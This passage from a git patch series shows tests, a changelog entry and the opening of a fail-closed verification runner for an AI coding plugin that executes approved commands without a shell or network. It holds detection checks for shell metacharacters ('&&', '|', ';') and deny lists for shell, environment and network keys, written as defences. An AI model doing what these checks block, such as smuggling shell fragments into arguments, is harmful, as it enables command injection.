assert.equal(call.options.env.GIT_CONFIG_GLOBAL, '/dev/null'); + assert.equal(call.options.env.GIT_CONFIG_SYSTEM, '/dev/null'); + assert.equal(call.options.env.GIT_ALLOW_PROTOCOL, ''); + assert.equal(call.options.env.GIT_PROTOCOL_FROM_USER, '0'); + assert.equal(Object.hasOwn(call.options.env, 'GIT_DIR'), false); + assert.equal(call.options.shell, undefined); + assert.equal(Array.isArray(call.args), true); + assert.equal(call.args.some((arg) => arg.includes('&&') || arg.includes('|') || arg.includes(';')), false); + const command = gitCommandOf(call.args); + assert.equal(mutating.has(command), false, command); + } +}); + +test('independent repositories verify concurrently without sharing observation', async (t) => { + const left = await createInScopeWriterRepo(); + const right = await createInScopeWriterRepo(); + t.after(() => Promise.all([left.cleanup(), right.cleanup()])); + const [leftIdentity, rightIdentity] = await Promise.all([ + identityOf(left), identityOf(right), + ]); + const [leftResult, rightResult] = await Promise.all([ + verifyScopeV1(scopeRequest(left, leftIdentity)), + verifyScopeV1(scopeRequest(right, rightIdentity)), + ]); + assert.equal(leftResult.status, 'verified'); + assert.equal(rightResult.status, 'verified'); + assert.equal(leftResult.observation.repository_path, left.path); + assert.equal(rightResult.observation.repository_path, right.path); + assert.notEqual(left.headSha, right.headSha); + assert.notEqual(leftResult.facts[0].payload.path_set_digest, undefined); +}); + +test('facts and discrepancies stay content-free and re-parse as P13 snapshots', async (t) => { + const repo = await createOutOfScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + const blob = JSON.stringify(result); + assert.equal(blob.includes('secret.txt'), false); + assert.equal(blob.includes(repo.path), true); + for (const fact of result.facts) parseVerifiedFactV1({ ...fact }); + for (const discrepancy of result.discrepancies) { + parseEvidenceDiscrepancyV1({ ...discrepancy }); + assert.equal(discrepancy.claim_ids.length, 0); + } + assert.equal(BASE_REF.startsWith('refs/heads/'), true); + assert.equal(ASSIGNMENT_ID, 'lane-writer'); + assert.equal(RUN_ID.startsWith('run-'), true); +}); From 42c2d092fc1d5e1bdb186595ba1799f8c646b807 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:15:30 +0000 Subject: [PATCH 080/151] docs(changelog): record the P15 scope verifier Document ScopeVerifierV1 as additive 3.3.0 work that does not own command policy, composition, or Git mutation. --- CHANGELOG.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index f7f6d5e..48e347b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,27 @@ ### Added +- **ScopeVerifierV1 independent changed-path ownership, read-only, and + merge-commit verifier.** Adds an additive v3 `scope-verifier.mjs` module + for W16-P15. It consumes only trusted P14 `GitIdentityV1` snapshots and + P13 `VerifiedFactV1` / `EvidenceDiscrepancyV1` records, never provider + claims, and binds content-free `git_diff` / `head_sha` facts + (`platform_git` with `scope_match`, `read_only_no_changes`, and + `merge_commit_absence`). Observation is argv-only (`/usr/bin/git`, no + shell) through the P14 closed environment with system/global/caller + config and protocols disabled; output, time, and command counts are + bounded; typed errors never echo hostile bytes. It validates ownership + of additions, deletions, renames, and copies against trusted assignment + write-scope globs (P02 matcher), including overlap with other writers, + symlink/gitlink/type-change, Unicode NFC vs confusable separators, and + tracked plus untracked state. Read-only lanes must have no candidate or + worktree mutations. Merge commits and multi-parent histories fail. + Pre/post identity and worktree fingerprints detect observation races + and fail closed. It does not own P16A trusted command policy, P28 Git + mutation, P30/P35 composition, server/supervisor integration, network, + or merge/rebase/push/PR. Coverage lives in `r1-scope-verifier` and + `r1-scope-verifier-adversarial` tests plus disposable rename, merge, + symlink, gitlink, Unicode, untracked, and race fixtures. - **GitIdentityV1 independent repository, ancestry, and merge-base verifier.** Adds an additive v3 `git-identity.mjs` module for W13-P14. It derives Git facts from the local repository through argv execution From 5915212b507e22179ae9e1ab54fd3c733655827b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:33:02 +0000 Subject: [PATCH 081/151] feat(verify): add constrained verification runner Execute a genuine immutable P16B ExecutionIntent plus trusted P16A policy once in a disposable workspace disjoint from the candidate. Spawn the exact owner-approved absolute executable and argv with shell=false, an empty-by-default environment, timeout, output caps, network deny, and host-available process isolation. Audit candidate Git identity before and after, fail closed on mutation, races, escaped descendants, floods, timeouts, and cleanup uncertainty, and never trust provider-reported PASS. --- .../v3/constrained-verification-runner.mjs | 1262 +++++++++++++++++ 1 file changed, 1262 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs b/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs new file mode 100644 index 0000000..244e0c0 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs @@ -0,0 +1,1262 @@ +// Constrained verification runner — ExecutionIntent execution receipt for +// W16-P16C (ADR 0001 identifiers +// `verification_policy_v1_only_executable_catalog`, +// `codex_selects_approved_command_ids_only`, +// `provider_commands_evidence_never_auto_executed`, +// `read_only_verification`, +// `bounded_evidence`, +// `gate_a_constrained_trusted_policy_command_execution`, +// `gate_a_safe_per_run_cleanup`, +// `gate_a_no_protected_ref_mutation`). +// +// Additive v3 module. It owns one fail-closed question: given a genuine +// immutable P16B ExecutionIntent receipt plus trusted P16A policy and a +// candidate identity, execute that exact owner-approved command once under +// host-available constraints in a disposable workspace and return bounded +// sanitized content-free outcome/evidence compatible with P13. It answers +// nothing else. +// This module never consults PATH, never uses a shell, never opens a remote +// network socket, never merges, rebases, pushes, opens a pull request, or +// mutates a protected ref. It does not import or integrate the MCP server, +// supervisor, scheduler, or process-boundary worker launcher, and it does +// not dispatch a provider. Provider-reported PASS is never treated as a fact. +// +// The only executable and argv that may run are the exact values bound by +// re-resolving the trusted policy against the intent's command_id and typed +// parameters. The child environment is empty by default and receives only +// policy-authorized bounded entries. Network default/deny is enforced; an +// allowlist cannot be enforced here and is denied. Temporary cleanup deletes +// only the exact workspace this invocation created. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; +import { lstat, mkdir, readFile, readdir, realpath, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import process from 'node:process'; + +import { + APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + APPROVED_VERIFICATION_COMMAND_VERSION, + RECEIPT_KEYS, + resolveApprovedVerificationCommandV1, +} from './approved-verification-command.mjs'; +import { + FACT_AUTHORITIES, + FACT_CODES, + FACT_KINDS, + FACT_METHODS, + FACT_STATUSES, + REPORTED_RESULTS, +} from './evidence-bundle.mjs'; +import { + capturedCreate, + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { + IDENTITY_DOMAIN, + IDENTITY_LABELS, + IDENTITY_VERSION, + canonicalJsonStringify, + identityDigestV1, +} from './identity.mjs'; +import { + assertBaseSha, + assertRepositoryPath, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; +import { + DENIED_ENV_NAMES, + DIGEST_ALGORITHM, + MAX_POLICY_OBJECT_KEYS, +} from './trusted-verification-policy.mjs'; + +export const CONSTRAINED_VERIFICATION_SCHEMA_ID = + 'codex-co-engineer.constrained-verification.v1'; +export const CONSTRAINED_VERIFICATION_VERSION = 1; +export const VERIFICATION_EXECUTION_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_EXECUTION_RECEIPT; + +export const GIT_EXECUTABLE = '/usr/bin/git'; +export const UNSHARE_EXECUTABLE = '/usr/bin/unshare'; +export const WORKSPACE_NAME_PREFIX = 'codex-co-engineer-p16c-'; +export const KILL_GRACE_MS = 1_000; +export const STUCK_GRACE_MS = 100; +export const GIT_AUDIT_TIMEOUT_MS = 5_000; +export const GIT_AUDIT_MAX_BYTES = 65_536; +export const WORKSPACE_MODE = 0o700; + +export const REQUEST_ALLOWED_KEYS = capturedFreeze(['candidate', 'intent', 'policy']); +export const REQUEST_REQUIRED_KEYS = REQUEST_ALLOWED_KEYS; +export const CANDIDATE_ALLOWED_KEYS = capturedFreeze([ + 'expected_base_sha', 'expected_head_sha', 'repository', +]); +export const CANDIDATE_REQUIRED_KEYS = capturedFreeze(['repository']); +export const OPTION_ALLOWED_KEYS = capturedFreeze(['adapter']); +export const ADAPTER_ALLOWED_KEYS = capturedFreeze([ + 'killProcessGroup', 'listDescendants', 'lstat', 'mkdir', 'nowMs', + 'randomId', 'readGitIdentity', 'realpath', 'rmdirExact', 'spawn', 'tmpRoot', +]); +export const RECEIPT_BODY_KEYS = capturedFreeze([ + 'candidate_audit', 'cleanup', 'command_id', 'facts', 'intent_identity', + 'observations', 'outcome', 'policy_identity', 'schema', 'version', +]); +export const RECEIPT_RESULT_KEYS = capturedFreeze([ + 'candidate_audit', 'cleanup', 'command_id', 'execution_identity', 'facts', + 'intent_identity', 'observations', 'outcome', 'policy_identity', 'schema', + 'version', +]); +export const OUTCOME_KEYS = capturedFreeze([ + 'duration_ms', 'exit_code', 'result', 'signal', 'stderr_bytes', + 'stderr_digest', 'stderr_truncated', 'stdout_bytes', 'stdout_digest', + 'stdout_truncated', 'termination', +]); +export const CANDIDATE_AUDIT_KEYS = capturedFreeze([ + 'base_sha', 'config_digest', 'filesystem_digest', 'head_sha', 'refs_digest', + 'status_digest', 'unchanged', 'worktrees_digest', +]); +export const CLEANUP_KEYS = capturedFreeze(['status']); +export const OBSERVATION_KEYS = capturedFreeze(['acceptance', 'git_identity']); +export const ACCEPTANCE_OBSERVATION_KEYS = capturedFreeze([ + 'authority', 'code', 'duration_ms', 'exit_code', 'fact_kind', 'input_digest', + 'method', 'output_digest', 'payload', 'payload_digest', 'status', 'subject', + 'truncated', +]); +export const GIT_OBSERVATION_KEYS = capturedFreeze([ + 'authority', 'code', 'duration_ms', 'exit_code', 'fact_kind', 'input_digest', + 'method', 'output_digest', 'payload', 'payload_digest', 'status', 'subject', + 'truncated', +]); +export const IDENTITY_RECEIPT_KEYS = capturedFreeze([ + 'algorithm', 'digest', 'domain', 'input_bytes', 'label', 'version', +]); +export const TERMINATION_REASONS = capturedFreeze(['exited']); +export const CLEANUP_STATUSES = capturedFreeze(['removed']); +export const WORKSPACE_ID_PATTERN = /^[0-9a-f]{32}$/u; + +export const CONSTRAINED_VERIFICATION_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'authority_denied', + 'candidate_identity_mismatch', 'candidate_mutated', 'candidate_not_regular', + 'candidate_race', 'candidate_unreadable', 'cleanup_uncertain', 'clock_denied', + 'control_character_denied', 'duplicate_id', 'env_name_denied', + 'escaped_descendants', 'executable_content_denied', 'executable_not_runnable', + 'exotic_prototype_denied', 'git_identity_unverified', 'git_unavailable', + 'intent_not_genuine', 'invalid_array', 'invalid_encoding', 'invalid_format', + 'invalid_json_type', 'invalid_json_value', 'invalid_type', 'missing_key', + 'mutation_permission_denied', 'network_allowlist_unsupported', + 'network_content_denied', 'network_isolation_unavailable', + 'non_enumerable_property_denied', 'one_execution_only', + 'option_smuggling_denied', 'out_of_range', 'output_flood', + 'own_undefined_denied', 'placeholder_unbound', 'policy_intent_mismatch', + 'proxy_denied', 'resource_bound_unavailable', 'resource_limit_denied', + 'shell_content_denied', 'signal_ambiguous', 'special_file_denied', + 'symbol_key_denied', 'symlink_denied', 'timeout', 'unknown_command', + 'unknown_key', 'value_depth_exceeded', 'workspace_overlap_denied', + 'workspace_unreadable', +]); + +const MESSAGES = capturedFreeze(Object.assign(capturedCreate(null), { + accessor_property_denied: 'An accessor property was denied; getters are never invoked.', + aliased_reference_denied: 'Aliased or cyclic references are denied.', + authority_denied: 'Provider, profile, and manifest commands are evidence only and cannot authorize execution.', + candidate_identity_mismatch: 'The candidate Git identity does not match the pinned expectation.', + candidate_mutated: 'The candidate Git identity or filesystem changed during verification.', + candidate_not_regular: 'The candidate must be a regular directory without a symlink root.', + candidate_race: 'The candidate changed while it was being inspected.', + candidate_unreadable: 'The candidate could not be inspected safely.', + cleanup_uncertain: 'Temporary cleanup could not be proven exact; the path was not deleted.', + clock_denied: 'The host clock moved backwards or produced a non-canonical duration.', + control_character_denied: 'Control, invisible, or bidi characters are denied.', + duplicate_id: 'A duplicate identity was denied instead of collapsed.', + env_name_denied: 'An environment name is outside the closed allowlist.', + escaped_descendants: 'A descendant process remained after the single execution ended.', + executable_content_denied: 'Untrusted input must not contribute executable content.', + executable_not_runnable: 'The owner-approved executable is not a regular runnable file.', + exotic_prototype_denied: 'Exotic prototypes are denied.', + git_identity_unverified: 'Candidate Git identity could not be verified as a closed read-only snapshot.', + git_unavailable: 'The host Git executable required for candidate audit is unavailable.', + intent_not_genuine: 'The execution intent is not a genuine immutable P16B receipt for the trusted policy.', + invalid_array: 'Arrays must be dense JSON arrays without extended metadata.', + invalid_encoding: 'Text must be well-formed NFC/NFKC Unicode.', + invalid_format: 'A field violates the closed grammar.', + invalid_json_type: 'A non-JSON value was denied.', + invalid_json_value: 'A non-canonical JSON number or value was denied.', + invalid_type: 'A field has the wrong JSON type.', + missing_key: 'A required field is missing; trusted execution has no hidden grants.', + mutation_permission_denied: 'Untrusted input must not contribute mutation permissions.', + network_allowlist_unsupported: 'Network allowlists cannot be enforced and are denied.', + network_content_denied: 'Untrusted input must not contribute network targets.', + network_isolation_unavailable: 'Host network-deny isolation is required and was not available.', + non_enumerable_property_denied: 'Non-enumerable properties are denied.', + one_execution_only: 'The approved command may execute once; retry and fallback are denied.', + option_smuggling_denied: 'A parameter value attempted to smuggle an option or argv fragment.', + out_of_range: 'A bounded integer, count, or size was exceeded.', + output_flood: 'Stdout or stderr exceeded the owner-authorized byte cap.', + own_undefined_denied: 'Own undefined values are denied; omit the field instead.', + placeholder_unbound: 'An argv placeholder is not bound to a declared parameter.', + policy_intent_mismatch: 'The execution intent does not belong to the supplied trusted policy.', + proxy_denied: 'Live and revoked Proxies are denied.', + resource_bound_unavailable: 'A required host resource bound could not be applied.', + resource_limit_denied: 'Untrusted input must not contribute resource limits.', + shell_content_denied: 'Shell text, interpolation, or metacharacters are denied.', + signal_ambiguous: 'Process termination was ambiguous between exit status and signal.', + special_file_denied: 'Special files, devices, and non-regular executables are denied.', + symbol_key_denied: 'Symbol keys are denied.', + symlink_denied: 'Symbolic links are denied on the executable, candidate, and workspace.', + timeout: 'The approved command exceeded the owner-authorized timeout.', + unknown_command: 'The selected command is not in the trusted catalog.', + unknown_key: 'A key is outside the closed vocabulary.', + value_depth_exceeded: 'Nesting exceeds the bounded policy depth.', + workspace_overlap_denied: 'The disposable workspace must be disjoint from the candidate.', + workspace_unreadable: 'The disposable workspace could not be created or proven exact.', +})); + +const EXECUTABLE_FOLDS = capturedFreeze([ + 'args', 'argument', 'arguments', 'argv', 'argvtemplate', 'bin', 'binary', + 'cmd', 'cmdline', 'command', 'commandcatalog', 'commands', 'cwd', + 'entrypoint', 'exec', 'executable', 'interpreter', 'run', 'runner', + 'runnercommand', 'script', 'scripts', 'selection', 'shell', 'shellcommand', + 'template', 'templates', 'verificationcommand', 'verificationpolicy', + 'verificationpolicyv1', 'workingdirectory', +]); +const ENVIRONMENT_FOLDS = capturedFreeze([ + 'dotenv', 'env', 'environ', 'environment', 'environmentallowlist', + 'envfile', 'envvar', 'envvars', +]); +const NETWORK_FOLDS = capturedFreeze([ + 'endpoint', 'host', 'hostname', 'hosts', 'network', 'uri', 'url', +]); +const MUTATION_FOLDS = capturedFreeze([ + 'filesystem', 'mutate', 'mutation', 'persist', 'persistent', 'write', +]); +const RESOURCE_FOLDS = capturedFreeze([ + 'cpulimit', 'maxerrorbytes', 'maxoutputbytes', 'memorylimit', 'pidslimit', + 'resource', 'resources', 'timeout', 'timeoutms', 'ulimit', +]); +const AUTHORITY_FOLDS = capturedFreeze([ + 'acceptance', 'assignment', 'attention', 'catalog', 'claim', 'evidence', + 'manifest', 'profile', 'profiles', 'provider', 'providercommand', + 'providerreport', 'providers', 'report', 'reported', 'requested', + 'requestedcommand', 'suggestion', 'untrusted', 'worker', +]); +const GIT_AUDIT_COMMANDS = capturedFreeze([ + capturedFreeze(['rev-parse', '--verify', 'HEAD']), + capturedFreeze(['status', '--porcelain=v1', '--untracked-files=all']), + capturedFreeze(['show-ref', '--head']), + capturedFreeze(['config', '--local', '--list']), + capturedFreeze(['worktree', 'list', '--porcelain']), + capturedFreeze(['rev-parse', '--absolute-git-dir']), +]); + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_PROTOTYPE = Object.prototype; +const REFLECT_OWN_KEYS = Reflect.ownKeys; +const STRING = String; +const STRING_REPLACE = Function.prototype.call.bind(String.prototype.replace); +const STRING_TO_LOWER_CASE = Function.prototype.call.bind(String.prototype.toLowerCase); +const STRING_STARTS_WITH = Function.prototype.call.bind(String.prototype.startsWith); +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_ALLOC = NodeBuffer.alloc.bind(NodeBuffer); +const TIMING_SAFE_EQUAL = timingSafeEqual; +const CRYPTO_CREATE_HASH = createHash; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH(DIGEST_ALGORITHM)); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const PATH_RELATIVE = path.relative; +const PATH_DIRNAME = path.dirname; +const OS_TMPDIR = tmpdir; +const FS_LSTAT = lstat; +const FS_MKDIR = mkdir; +const FS_REALPATH = realpath; +const FS_RM = rm; +const PROCESS_KILL = process.kill.bind(process); +const RANDOM_BYTES = randomBytes; +const NODE_SPAWN = nodeSpawn; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; + +function deny(code, path) { + fail(code, path, MESSAGES[code] ?? MESSAGES.invalid_format); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function freezeList(values) { + const clone = []; + for (let index = 0; index < values.length; index += 1) { + ARRAY_PUSH.call(clone, values[index]); + } + return capturedFreeze(clone); +} + +function foldKey(key) { + return STRING_REPLACE(STRING_TO_LOWER_CASE(STRING(key)), /[-_ ]+/gu, ''); +} + +function ownKeysOrDeny(value, path) { + let keys; + try { + keys = REFLECT_OWN_KEYS(value); + } catch { + deny('invalid_type', path); + } + return keys; +} + +function classifyRequestKey(key) { + if (key === 'policy' || key === 'intent' || key === 'candidate') return null; + const folded = foldKey(key); + if (folded === 'policy' || folded === 'intent' || folded === 'candidate') return 'unknown_key'; + if (capturedIncludes(AUTHORITY_FOLDS, folded)) return 'authority_denied'; + if (capturedIncludes(EXECUTABLE_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(ENVIRONMENT_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(NETWORK_FOLDS, folded)) return 'network_content_denied'; + if (capturedIncludes(MUTATION_FOLDS, folded)) return 'mutation_permission_denied'; + if (capturedIncludes(RESOURCE_FOLDS, folded)) return 'resource_limit_denied'; + return 'unknown_key'; +} + +function assertClosedOwnKeys(value, allowed, path) { + const keys = ownKeysOrDeny(value, path); + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (!capturedIncludes(allowed, key)) deny('unknown_key', path); + } +} + +function assertRequestKeys(value, path) { + const keys = ownKeysOrDeny(value, path); + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + const code = classifyRequestKey(key); + if (code !== null) deny(code, path); + } + for (let index = 0; index < REQUEST_REQUIRED_KEYS.length; index += 1) { + const key = REQUEST_REQUIRED_KEYS[index]; + if (!hasOwn(value, key)) deny('missing_key', `${path}.${key}`); + } +} + +function sha256Hex(bytes) { + const hash = CRYPTO_CREATE_HASH(DIGEST_ALGORITHM); + HASH_UPDATE.call(hash, bytes); + return HASH_DIGEST.call(hash, 'hex'); +} + +function digestOf(label, snapshot) { + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const descriptor = identityDigestV1(label, [canonicalBytes]); + return freezeRecord(IDENTITY_RECEIPT_KEYS, { + algorithm: DIGEST_ALGORITHM, + domain: IDENTITY_DOMAIN, + version: IDENTITY_VERSION, + label, + input_bytes: canonicalBytes.length, + digest: descriptor.digest, + }); +} + +function payloadDigestOf(payload) { + return sha256Hex(BUFFER_FROM(canonicalJsonStringify(payload), 'utf8')); +} + +function equalCanonical(left, right) { + const leftBytes = BUFFER_FROM(left, 'utf8'); + const rightBytes = BUFFER_FROM(right, 'utf8'); + if (leftBytes.length !== rightBytes.length) return false; + return TIMING_SAFE_EQUAL(leftBytes, rightBytes) === true; +} + +function equalDigest(left, right) { + if (typeof left !== 'string' || typeof right !== 'string' || left.length !== right.length) { + return false; + } + return TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'utf8'), BUFFER_FROM(right, 'utf8')) === true; +} + +function cloneParameters(parameters) { + const keys = sortedCapturedKeys(parameters); + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + values[key] = parameters[key]; + } + return values; +} + +function selectionFromIntent(intent) { + const selection = { command_id: intent.command_id }; + const parameters = cloneParameters(intent.parameters); + if (sortedCapturedKeys(parameters).length > 0) selection.parameters = parameters; + return selection; +} + +function looksLikeIntentSnapshot(value, path) { + if (value === undefined || value === null || typeof value !== 'object') return false; + if (capturedIsArray(value)) return false; + const keys = ownKeysOrDeny(value, path); + if (keys.length !== RECEIPT_KEYS.length) return false; + for (let index = 0; index < RECEIPT_KEYS.length; index += 1) { + if (!hasOwn(value, RECEIPT_KEYS[index])) return false; + } + return optOwn(value, 'schema') === APPROVED_VERIFICATION_COMMAND_SCHEMA_ID + && optOwn(value, 'version') === APPROVED_VERIFICATION_COMMAND_VERSION; +} + +function consumeGenuineIntent(policyInput, intentInput, path) { + if (!looksLikeIntentSnapshot(intentInput, path)) deny('intent_not_genuine', path); + let resolved; + try { + resolved = resolveApprovedVerificationCommandV1({ + policy: policyInput, + selection: selectionFromIntent(intentInput), + }); + } catch (error) { + if (error && error.name === 'RunContractV1Error' && typeof error.path === 'string' + && STRING_STARTS_WITH(error.path, 'request.policy')) { + throw error; + } + deny('intent_not_genuine', path); + } + if (!equalCanonical(canonicalJsonStringify(resolved), canonicalJsonStringify(intentInput))) { + deny('intent_not_genuine', path); + } + return resolved; +} + +function parseCandidate(input, path) { + assertPlainObject(input, 'invalid_type', path, path); + assertClosedOwnKeys(input, CANDIDATE_ALLOWED_KEYS, path); + for (let index = 0; index < CANDIDATE_REQUIRED_KEYS.length; index += 1) { + const key = CANDIDATE_REQUIRED_KEYS[index]; + if (!hasOwn(input, key)) deny('missing_key', `${path}.${key}`); + } + const repository = optOwn(input, 'repository'); + assertRepositoryPath(repository, `${path}.repository`); + if (PATH_RESOLVE(repository) !== repository) deny('invalid_format', `${path}.repository`); + let expectedHead; + let expectedBase; + if (hasOwn(input, 'expected_head_sha')) { + expectedHead = optOwn(input, 'expected_head_sha'); + assertBaseSha(expectedHead, `${path}.expected_head_sha`); + } + if (hasOwn(input, 'expected_base_sha')) { + expectedBase = optOwn(input, 'expected_base_sha'); + assertBaseSha(expectedBase, `${path}.expected_base_sha`); + } + return freezeRecord(CANDIDATE_ALLOWED_KEYS, { + repository, + expected_head_sha: expectedHead, + expected_base_sha: expectedBase, + }); +} + +function parseRequest(input, path) { + assertNotProxy(input, path); + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertRequestKeys(input, path); + const policyInput = optOwn(input, 'policy'); + const intentInput = optOwn(input, 'intent'); + assertPlainObject(policyInput, 'invalid_type', `${path}.policy`, `${path}.policy`); + assertPlainObject(intentInput, 'invalid_type', `${path}.intent`, `${path}.intent`); + const intent = consumeGenuineIntent(policyInput, intentInput, `${path}.intent`); + const candidate = parseCandidate(optOwn(input, 'candidate'), `${path}.candidate`); + if (intent.network.mode !== 'deny') deny('network_allowlist_unsupported', `${path}.intent.network`); + return { policyInput, intent, candidate }; +} + +function defaultNowMs() { + return Date.now(); +} + +function defaultRandomId() { + return RANDOM_BYTES(16).toString('hex'); +} + +function defaultTmpRoot() { + const root = PATH_RESOLVE(OS_TMPDIR()); + if (!PATH_IS_ABSOLUTE(root) || root !== PATH_RESOLVE(root)) deny('workspace_unreadable', 'workspace'); + return root; +} + +function defaultKillProcessGroup(pid, signal) { + if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return; + try { + PROCESS_KILL(-pid, signal); + } catch { + try { + PROCESS_KILL(pid, signal); + } catch { + // ESRCH and equivalent races are inspected by listDescendants. + } + } +} + +async function defaultListDescendants(pid) { + if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return freezeList([]); + let dir; + try { + dir = await readdir('/proc'); + } catch { + return freezeList([]); + } + const leftover = []; + for (let index = 0; index < dir.length; index += 1) { + const name = dir[index]; + if (!/^[0-9]+$/u.test(name)) continue; + const other = Number(name); + if (other === pid || !NUMBER_IS_SAFE_INTEGER(other)) continue; + let stat; + try { + stat = await readFile(`/proc/${other}/stat`, 'utf8'); + } catch { + continue; + } + const close = stat.indexOf(')'); + if (close < 0) continue; + const rest = stat.slice(close + 2).split(' '); + const ppid = Number(rest[1]); + const pgid = Number(rest[2]); + if (ppid === pid || pgid === pid) ARRAY_PUSH.call(leftover, other); + } + return freezeList(leftover); +} + +async function collectChildOutput(child, timeoutMs) { + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let stderrBytes = 0; + const onOut = (chunk) => { + const buf = NodeBuffer.isBuffer(chunk) ? chunk : BUFFER_FROM(chunk); + ARRAY_PUSH.call(stdoutChunks, buf); + stdoutBytes += buf.length; + }; + const onErr = (chunk) => { + const buf = NodeBuffer.isBuffer(chunk) ? chunk : BUFFER_FROM(chunk); + ARRAY_PUSH.call(stderrChunks, buf); + stderrBytes += buf.length; + }; + if (child.stdout && typeof child.stdout.on === 'function') child.stdout.on('data', onOut); + if (child.stderr && typeof child.stderr.on === 'function') child.stderr.on('data', onErr); + let timedOut = false; + const timer = setTimeout(() => { + timedOut = true; + try { child.kill('SIGKILL'); } catch { /* already exited */ } + }, timeoutMs); + let closePromise = Promise.resolve(); + try { + const exit = await new Promise((resolve, reject) => { + child.once('error', reject); + child.once('exit', (code, signal) => resolve({ code, signal })); + }); + if (child.stdout && typeof child.stdout.end === 'function') { + closePromise = closePromise.then(() => new Promise((resolve) => { + child.stdout.once('end', resolve); + child.stdout.resume?.(); + })); + } + if (child.stderr && typeof child.stderr.end === 'function') { + closePromise = closePromise.then(() => new Promise((resolve) => { + child.stderr.once('end', resolve); + child.stderr.resume?.(); + })); + } + await Promise.race([closePromise, new Promise((resolve) => setTimeout(resolve, 25))]); + if (timedOut) deny('git_identity_unverified', 'candidate'); + if (exit.signal !== null && exit.signal !== undefined) deny('git_identity_unverified', 'candidate'); + if (exit.code !== 0 && exit.code !== 1) deny('git_identity_unverified', 'candidate'); + const stdout = BUFFER_CONCAT(stdoutChunks); + const stderr = BUFFER_CONCAT(stderrChunks); + if (stdout.length > GIT_AUDIT_MAX_BYTES || stderr.length > GIT_AUDIT_MAX_BYTES) { + deny('git_identity_unverified', 'candidate'); + } + return { code: exit.code, stdout, stderr }; + } finally { + clearTimeout(timer); + } +} + +async function defaultReadGitIdentity(repository) { + let gitStat; + try { + gitStat = await FS_LSTAT(GIT_EXECUTABLE, { bigint: true }); + } catch { + deny('git_unavailable', 'candidate'); + } + if (gitStat.isSymbolicLink() || !gitStat.isFile()) deny('git_unavailable', 'candidate'); + const env = { + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_OPTIONAL_LOCKS: '0', + GIT_TERMINAL_PROMPT: '0', + }; + const outputs = {}; + const names = ['head', 'status', 'refs', 'config', 'worktrees', 'gitdir']; + for (let index = 0; index < GIT_AUDIT_COMMANDS.length; index += 1) { + const args = ['-C', repository, '--no-optional-locks']; + const command = GIT_AUDIT_COMMANDS[index]; + for (let argIndex = 0; argIndex < command.length; argIndex += 1) { + ARRAY_PUSH.call(args, command[argIndex]); + } + let child; + try { + child = NODE_SPAWN(GIT_EXECUTABLE, args, { + cwd: PATH_DIRNAME(repository), + env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }); + } catch { + deny('git_identity_unverified', 'candidate'); + } + const result = await collectChildOutput(child, GIT_AUDIT_TIMEOUT_MS); + if (names[index] === 'head' && result.code !== 0) deny('git_identity_unverified', 'candidate'); + outputs[names[index]] = result.stdout.toString('utf8'); + } + const head = STRING_REPLACE(outputs.head, /\s+/gu, ''); + assertBaseSha(head, 'candidate.head_sha'); 